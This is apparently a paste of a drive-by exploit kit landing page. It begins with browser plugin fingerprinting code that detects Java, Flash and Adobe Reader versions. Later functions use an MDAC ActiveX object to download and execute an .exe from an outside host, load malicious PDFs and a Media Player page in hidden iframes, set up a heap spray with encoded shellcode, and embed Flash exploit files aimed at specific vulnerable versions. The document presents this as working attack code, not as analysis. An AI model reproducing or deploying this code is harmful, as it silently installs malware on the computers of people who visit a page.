  776. $:1,hasRun:0,result:「null,null」,disabled:function()
  777. return this.$$.isDisabled.windowDotJava()
  778. ,getPropertyHas:function(a)
  779. var b=this,d=b.$,c=b.getProperty()「0」;
  780. return(a&&c&&d.compareNums(d.formatNum(a),d.formatNum(c))===0)?1:0
  781. ,getProperty:function()
  782. var f=this,g=f.$,d=f.$$,i,h=
  783. ,b=(f.hasRun||f.disabled());
  784. f.hasRun=1;
  785. if(!b)
  786. var a="java_qqq990";
  787. g「a」=null;
  788. try
  789. var c=document.createElement("script");
  790. c.type="text/javascript";
  791. c.appendChild(document.createTextNode("(function(){var e;try{if (window.java && window.java.lang && window.java.lang.System){"+g.name+"."+a+'=「window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "」}}catch(e){}})();'));
  792. if(g.head.firstChild)
  793. g.head.insertBefore(c,g.head.firstChild)
  794. else
  795. g.head.appendChild(c)
  796. g.head.removeChild(c)
  797. catch(i)
  798. if(g「a」&&g.isArray(g「a」))
  799. f.result=「」.concat(g「a」)
  800. return f.result
  801. ,applet:
  802. $:1,results:「「null,null」,「null,null」,「null,null」」,getResult:function()
  803. var c=this.results,a,b=「」;
  804. for(a=0;a<c.length;a++)
  805. b=c「a」;
  806. if(b「0」)
  807. break
  808. return「」.concat(b)
  809. ,HTML:「0,0,0」,active:「0,0,0」,DummyObjTagHTML:0,DummySpanTagHTML:0,allowed:「1,1,1」,VerifyTagsHas:function(c)
  810. var d=this,b;
  811. for(b=0;b<d.allowed.length;b++)
  812. if(d.allowed「b」===c)
  813. return 1
  814. return 0
  815. ,saveAsVerifyTagsArray:function(c)
  816. var b=this,d=b.$,a;
  817. if(d.isArray(c))
  818. for(a=0;a<b.allowed.length;a++)
  819. if(d.isNum(c「a」))
  820. if(c「a」<0)
  821. c「a」=0
  822. if(c「a」>3)
  823. c「a」=3
  824. b.allowed「a」=c「a」
  825. ,setVerifyTagsArray:function(d)
  826. var b=this,c=b.$,a=b.$$;
  827. if(a.getVersionDone===null)
  828. b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  829. if(a.debug||(a.verify&&a.verify.isEnabled()))
  830. b.saveAsVerifyTagsArray(「3,3,3」)
  831. else
  832. if(d)
  833. b.saveAsVerifyTagsArray(d)
  834. ,allDisabled:function()
  835. return this.$$.isDisabled.allApplets()
  836. ,isDisabled:function(d)
  837. var b=this,c=b.$,a=b.$$;
  838. if(d==2&&!c.isIE)
  839. return 1
  840. if(d===0||d==2)
  841. return a.isDisabled.ObjectTag()
  842. if(d==1)
  843. return a.isDisabled.AppletTag()
  844. ,can_Insert_Query:function(b)
  845. var a=this;
  846. if(a.HTML「b」)
  847. return 0
  848. return !a.isDisabled(b)
  849. ,can_Insert_Query_Any:function()
  850. var b=this,a;
  851. for(a=0;a<b.results.length;a++)
  852. if(b.can_Insert_Query(a))
  853. return 1
  854. return 0
  855. ,should_Insert_Query:function(d)
  856. var b=this,e=b.allowed,c=b.$,a=b.$$;
  857. if(!b.can_Insert_Query(d))
  858. return 0
  859. if(e「d」==3)
  860. return 1
  861. if(e「d」==2.8&&!b.getResult()「0」)
  862. return 1
  863. if(e「d」==2.5&&!a.lang.System.getProperty()「0」)
  864. return 1
  865. if(e「d」==2.2&&!a.lang.System.getProperty()「0」&&!b.getResult()「0」)
  866. return 1
  867. if(!a.nonAppletDetectionOk(a.version0))
  868. if(e「d」==2)
  869. return 1
  870. if(e「d」==1&&!b.getResult()「0」)
  871. return 1
  872. return 0
  873. ,should_Insert_Query_Any:function()
  874. var b=this,a;
  875. for(a=0;a<b.allowed.length;a++)
  876. if(b.should_Insert_Query(a))
  877. return 1
  878. return 0
  879. ,query:function(f)
  880. var h,a=this,g=a.$,d=a.$$,i=null,j=null,b=a.results,c;
  881. if((b「f」「0」&&b「f」「1」)||(d.debug&&d.OTF<3))
  882. return
  883. c=g.getDOMobj(a.HTML「f」,true);
  884. if(c)
  885. try
  886. i=g.getNum(c.getVersion()+" ");
  887. j=c.getVendor()+" ";
  888. c.statusbar(g.winLoaded?" ":" ")
  889. catch(h)
  890. if(i&&g.isStrNum(i))
  891. b「f」=「i,j」
  892. else
  893. };
  894. try
  895. if(g.isIE&&i&&c.readyState!=4)
  896. g.garbage=true;
  897. c.parentNode.removeChild(c)
  898. catch(h)
  899. ,insert_Query_Any:function()
  900. var d=this,i=d.$,e=d.$$,l=d.results,p=d.HTML,a="    ",g="A.class",m=i.file.getValid(e);
  901. if(!m)
  902. return d.getResult()
  903. if(e.OTF<1)
  904. e.OTF=1
  905. if(d.allDisabled())
  906. return d.getResult()
  907. if(e.OTF<1.5)
  908. e.OTF=1.5
  909. var j=m.name+m.ext,h=m.path;
  910. var f=「"archive",j,"code",g」,c=「"mayscript","true"」,o=「"scriptable","true"」.concat(c),n=e.navigator,b=!i.isIE&&n.mimeObj&&n.mimeObj.type?n.mimeObj.type:e.mimeType「0」;
  911. if(d.should_Insert_Query(0))
  912. if(e.OTF<2)
  913. e.OTF=2
  914. };
  915. p「0」=i.isIE?i.insertHTML("object",「"type",b」,「"codebase",h」.concat(f).concat(o),a,e):i.insertHTML("object",「"type",b」,「"codebase",h」.concat(f).concat(o),a,e);
  916. l「0」=「0,0」;
  917. d.query(0)
  918. if(d.should_Insert_Query(1))
  919. if(e.OTF<2)
  920. e.OTF=2
  921. };
  922. p「1」=i.isIE?i.insertHTML("applet",「"alt",a」.concat(c).concat(f),「"codebase",h」.concat(c),a,e):i.insertHTML("applet",「"codebase",h,"alt",a」.concat(c).concat(f),「」.concat(c),a,e);
  923. l「1」=「0,0」;
  924. d.query(1)
  925. if(d.should_Insert_Query(2))
  926. if(e.OTF<2)
  927. e.OTF=2
  928. };
  929. p「2」=i.isIE?i.insertHTML("object",「"classid",e.classID」,「"codebase",h」.concat(f).concat(o),a,e):i.insertHTML();
  930. l「2」=「0,0」;
  931. d.query(2)
  932. if(!d.DummyObjTagHTML&&!e.isDisabled.ObjectTag())
  933. d.DummyObjTagHTML=i.insertHTML("object",「」,「」,a)
  934. if(!d.DummySpanTagHTML)
  935. d.DummySpanTagHTML=i.insertHTML("",「」,「」,a)
  936. };
  937. var k=e.NOTF;
  938. if(e.OTF<3&&k.shouldContinueQuery())
  939. e.OTF=3;
  940. k.onIntervalQuery=i.handler(k.$$onIntervalQuery,k);
  941. if(!i.winLoaded)
  942. i.WLfuncs0.push(「k.winOnLoadQuery,k」)
  943. setTimeout(k.onIntervalQuery,k.intervalLength)
  944. };
  945. return d.getResult()
  946. ,NOTF:
  947. $:1,count:0,countMax:25,intervalLength:250,shouldContinueQuery:function()
  948. var e=this,d=e.$,c=e.$$,b=c.applet,a;
  949. for(a=0;a<b.results.length;a++)
  950. if(b.HTML「a」&&!b.results「a」「0」&&(b.allowed「a」>=2||(b.allowed「a」==1&&!b.getResult()「0」))&&e.isAppletActive(a)>=0)
  951. return 1
  952. return 0
  953. ,isJavaActive:function(d)
  954. var f=this,c=f.$$,a,b,e=-9;
  955. for(a=0;a<c.applet.HTML.length;a++)
  956. b=f.isAppletActive(a,d);
  957. if(b>e)
  958. e=b
  959. return e
  960. ,isAppletActive:function(c,a)
  961. var d=this,b=d.$$.applet.active;
  962. if(!a)
  963. b「c」=d.isAppletActive_(c)
  964. return b「c」
  965. ,isAppletActive_:function(d)
  966. var g=this,f=g.$,b=g.$$,l=b.navigator,a=b.applet,h=a.HTML「d」,i,k,c=0,j=f.getTagStatus(h,a.DummySpanTagHTML,a.DummyObjTagHTML,g.count);
  967. if(j==-2)
  968. return -2
  969. try
  970. if(f.isIE&&f.verIE>=b.minIEver&&f.getDOMobj(h).object)
  971. return 1
  972. catch(i)
  973. for(k=0;k<a.active.length;k++)
  974. if(a.active「k」>0)
  975. c=1
  976. if(j==1&&(f.isIE||((b.version0&&l.javaEnabled()&&l.mimeObj&&(h.tagName=="object"||c))||b.lang.System.getProperty()「0」)))
  977. return 1
  978. if(j<0)
  979. return -1
  980. return 0
  981. ,winOnLoadQuery:function(c,d)
  982. var b=d.$$,a;
  983. if(b.OTF==3)
  984. a=d.queryAllApplets();
  985. d.queryCompleted(a「1」,a「2」)
  986. ,$$onIntervalQuery:function(d)
  987. var c=d.$,b=d.$$,a;
  988. if(b.OTF==3)
  989. a=d.queryAllApplets();
  990. if(!d.shouldContinueQuery()||(c.winLoaded&&d.count>d.countMax))
  991. d.queryCompleted(a「1」,a「2」)
  992. d.count++;
  993. if(b.OTF==3)
  994. setTimeout(d.onIntervalQuery,d.intervalLength)
  995. ,queryAllApplets:function()
  996. var g=this,f=g.$,e=g.$$,d=e.applet,b,a,c;
  997. for(b=0;b<d.results.length;b++)
  998. d.query(b)
  999. a=d.getResult();
  1000. c=a「0」?true:false;
  1001. return「c,a「0」,a「1」」
  1002. ,queryCompleted:function(c,f)
  1003. var e=this,d=e.$,b=e.$$;
  1004. if(b.OTF>=4)
  1005. return
  1006. b.OTF=4;
  1007. var a=e.isJavaActive();
  1008. b.setPluginStatus(c,f,0);
  1009. if(b.funcs)
  1010. d.callArray(b.funcs)
  1011. if(d.onDoneEmptyDiv)
  1012. d.onDoneEmptyDiv()
  1013. ,zz:0
  1014. ,flash:
  1015. mimeType:"application/x-shockwave-flash",progID:"ShockwaveFlash.ShockwaveFlash",classID:"clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",getVersion:function()
  1016. var b=function(i)
  1017. if(!i)
  1018. return null
  1019. var e=/「\d」「\d\,\.\s」*「rRdD」
  1020. 0,1
  1021. 「\d\,」*/.exec(i);
  1022. return e?e「0」.replace(/「rRdD\.」/g,",").replace(/\s/g,""):null
  1023. };
  1024. var j=this,g=j.$,k,h,l=null,c=null,a=null,f,m,d;
  1025. if(!g.isIE)
  1026. m=g.hasMimeType(j.mimeType);
  1027. if(m)
  1028. f=g.getDOMobj(g.insertHTML("object",「"type",j.mimeType」,「」,"",j));
  1029. try
  1030. l=g.getNum(f.GetVariable("$version"))
  1031. catch(k)
  1032. if(!l)
  1033. d=m?m.enabledPlugin:null;
  1034. if(d&&d.description)
  1035. l=b(d.description)
  1036. if(l)
  1037. l=g.getPluginFileVersion(d,l)
  1038. else
  1039. for(h=15;h>2;h--)
  1040. c=g.getAXO(j.progID+"."+h);
  1041. if(c)
  1042. a=h.toString();
  1043. break
  1044. if(!c)
  1045. c=g.getAXO(j.progID)
  1046. if(a=="6")
  1047. try
  1048. c.AllowScriptAccess="always"
  1049. catch(k)
  1050. return"6,0,21,0"
  1051. try
  1052. l=b(c.GetVariable("$version"))
  1053. catch(k)
  1054. if(!l&&a)
  1055. l=a
  1056. j.installed=l?1:-1;
  1057. j.version=g.formatNum(l);
  1058. return true
  1059. ,adobereader:
  1060. mimeType:"application/pdf",navPluginObj:null,progID:「"AcroPDF.PDF","PDF.PdfCtrl"」,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:
  1061. ,pluginHasMimeType:function(d,c,f)
  1062. var b=this,e=b.$,a;
  1063. for(a in d)
  1064. if(d「a」&&d「a」.type&&d「a」.type==c)
  1065. return 1
  1066. if(e.getMimeEnabledPlugin(c,f))
  1067. return 1
  1068. return 0
  1069. ,getVersion:function(l,j)
  1070. var g=this,d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;
  1071. if(d.isString(j))
  1072. j=j.replace(/\s/g,"");
  1073. if(j)
  1074. k=j
  1075. else
  1076. j=null
  1077. if(d.isDefined(g.INSTALLED「k」))
  1078. g.installed=g.INSTALLED「k」;
  1079. return
  1080. if(!d.isIE)
  1081. a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1082. if(g.getVersionDone!==0)
  1083. g.getVersionDone=0;
  1084. b=d.getMimeEnabledPlugin(g.mimeType,a);
  1085. if(!j)
  1086. n=b
  1087. if(!b&&d.hasMimeType(g.mimeType))
  1088. b=d.findNavPlugin(a,0)
  1089. if(b)
  1090. g.navPluginObj=b;
  1091. h=d.getNum(b.description)||d.getNum(b.name);
  1092. h=d.getPluginFileVersion(b,h);
  1093. if(!h&&d.OS==1)
  1094. if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a))
  1095. h="9"
  1096. else
  1097. if(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a))
  1098. h="8"
  1099. else
  1100. h=g.version
  1101. if(!d.isDefined(n))
  1102. n=d.getMimeEnabledPlugin(k,a)
  1103. g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))
  1104. else
  1105. b=d.getAXO(g.progID「0」)||d.getAXO(g.progID「1」);
  1106. c=/=\s*(「\d\.」+)/g;
  1107. try
  1108. f=(b||d.getDOMobj(d.insertHTML("object",「"classid",g.classID」,「"src",""」,"",g))).GetVersions();
  1109. for(m=0;m<5;m++)
  1110. if(c.test(f)&&(!h||RegExp.$1>h))
  1111. h=RegExp.$1
  1112. catch(i)
  1113. g.installed=h?1:(b?0:-1)
  1114. if(!g.version)
  1115. g.version=d.formatNum(h)
  1116. g.INSTALLED「k」=g.installed
  1117. ,zz:0
  1118. };
  1119. PluginDetect.initScript();
  1120. PluginDetect.getVersion(".");
  1121. pdfver=PluginDetect.getVersion("AdobeReader");
  1122. flashver=PluginDetect.getVersion('Flash');
  1123. javaver=PluginDetect.getVersion('Java','getJavaInfo.jar');
  1124. catch(e)
  1125. if(typeof pdfver=='string')
  1126. pdfver=pdfver.split('.')
  1127. else
  1128. pdfver=「0,0,0,0」
  1129. if(typeof flashver=='string')
  1130. flashver=flashver.split('.')
  1131. else
  1132. flashver=「0,0,0,0」
  1133. if(typeof javaver=='string')
  1134. javaver=javaver.split('.')
  1135. else
  1136. javaver=「0,0,0,0」
  1137. function spl0()
  1138. spl2()
  1139. function spl2()
  1140. var ra4=".//..//e88d779.exe",ra3=document.createElement("object");
  1141. ra3.setAttribute("id",ra3);
  1142. ra3.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
  1143. try
  1144. var ra0=ra3.CreateObject(md+"dod".concat("b.str","eam"),""),ra1=ra3.CreateObject("Shell.Application",""),ra2=ra3.CreateObject("msxml2.XMLHTTP","");
  1145. try
  1146. ra2.open("GET","http://virtual-geocaching.net/w.php?f=80f39&e=2",false);
  1147. ra2.send();
  1148. ra0.type=1;
  1149. ra0.open();
  1150. ra0.Write(ra2.responseBody);
  1151. ra0.SaveToFile(ra4,2);
  1152. ra0.Close();
  1153. catch(e)
  1154. try
  1155. with(ra1)
  1156. shellexecute(ra4);
  1157. catch(e)
  1158. catch(e)
  1159. spl3()
  1160. function show_pdf(src)
  1161. var pifr=document.createElement('IFRAME');
  1162. pifr.setAttribute('width',1);
  1163. pifr.setAttribute('height',1);
  1164. pifr.setAttribute('src',src);
  1165. document.body.appendChild(pifr)
  1166. function spl3()
  1167. if(pdfver「0」>0&&pdfver「0」<8)
  1168. exec7=0;
  1169. show_pdf('./data/ap1.php?f=80f39')
  1170. else if((pdfver「0」==8)||(pdfver「0」==9&&pdfver「1」<=3))
  1171. exec7=0;
  1172. show_pdf('./data/ap2.php')
  1173. spl4()
  1174. function spl4()
  1175. try
  1176. for(var i=0,m;i<navigator.plugins.length;i++)
  1177. var name=navigator.plugins「i」.name;
  1178. if(name.indexOf('Media Player')!=-1)
  1179. m=document.createElement('IFRAME');
  1180. m.setAttribute('src','./data/hhcp.php?c=80f39');
  1181. m.setAttribute('width',0);
  1182. m.setAttribute('height',0);
  1183. document.body「'appendChild'」(m)
  1184. catch(e)
  1185. setTimeout(spl5,1000)
  1186. function getCN()
  1187. return 'data/score.swf'
  1188. function getBlockSize()
  1189. return 1024
  1190. function getAllocSize()
  1191. return 1024 * 1024
  1192. function getAllocCount()
  1193. return 300
  1194. function getFillBytes()
  1195. var a='%u'+'0c0c';
  1196. return a+a;
  1197. function getShellCode()
  1198. if(1)
  1199. return "%u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u4ee9%u80fe%u2830%ue240%uebfa%ue805%uffeb%uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476%u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3%u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896%uda10%u205c%ue3e9%u2b25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4%u0c7c%ua324%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be%ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%u2828%uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e%u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24%u0c2c%u4d5a%u5b4f%u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1%u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35%u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7%u422c%uab28%u24c3%ud77b%u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0%ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c%u1258%u0707%u415e%u5c5a%u495d%u0544%u4d4f%u4b47%u4b49%u4140%u4f46%u4606%u5c4d%u5f07%u5806%u5840%u4e17%u1015%u4e18%u111b%u4d0e%u1915%u2828";
  1200. function spl5()
  1201. var ver1=flashver「0」;
  1202. var ver2=flashver「1」;
  1203. var ver3=flashver「2」;
  1204. if (((ver1==10&&ver2==0&&ver3>40)||((ver1==10&&ver2>0)&&(ver1==10&&ver2<2)))||((ver1==10&&ver2==2&&ver3<159)||(ver1==(11-1)&&ver2<2)))
  1205. var fname="data/field";
  1206. var Flash_obj="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>";
  1207. Flash_obj+="<param name='movie' value='"+fname+".swf' />";
  1208. al="always";
  1209. Flash_obj+="<param name=\"allowScriptAccess\" value='"+al+"' />";
  1210. Flash_obj+="<param name='Play' value='0' />";
  1211. Flash_obj+="<embed src='"+fname+".swf' id='swf_id' name='swf_id'";
  1212. Flash_obj+="allowScriptAccess='"+al+"'";
  1213. Flash_obj+="type='application/x-shockwave-flash'";
  1214. Flash_obj+="width='10' height='10'>";
  1215. Flash_obj+="</embed>";
  1216. Flash_obj+="</object>";
  1217. var oSpan=document.createElement("span");
  1218. document.body.appendChild(oSpan);
  1219. oSpan.innerHTML=Flash_obj;
  1220. spl6();
  1221. function spl6()
  1222. var ver1=flashver「0」;
  1223. var ver2=flashver「1」;
  1224. var ver3=flashver「2」;
  1225. var ver4=flashver「3」;
  1226. if ((ver1==10&&ver2==3&&ver3==181&&ver4<=23)||(ver1==10&&ver2==3&&ver3<181))
  1227. var fname="data/flash";
  1228. var Flash_obj="<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'>";
  1229. Flash_obj+="<param name='movie' value='"+fname+".swf?info=02e6b1525353caa8ad55b156505337b6ab3735b7353436b4b2b631adb13157abb537b6b6a951b252ca35c9cf4a3249cc7e7ae9c46a0a' />";
  1230. Flash_obj+="<embed src='"+fname+".swf?info=02e6b1525353caa8ad55b156505337b6ab3735b7353436b4b2b631adb13157abb537b6b6a951b252ca35c9cf4a3249cc7e7ae9c46a0a' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'>";
  1231. Flash_obj+="</embed>";
  1232. Flash_obj+="</object>";
  1233. var oSpan=document.createElement("span");
  1234. document.body.appendChild(oSpan);
  1235. oSpan.innerHTML=Flash_obj;
  1236. spl7();
  1237. function spl7()
  1238. setTimeout(end_redirect,8000);
  1239. spl0();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement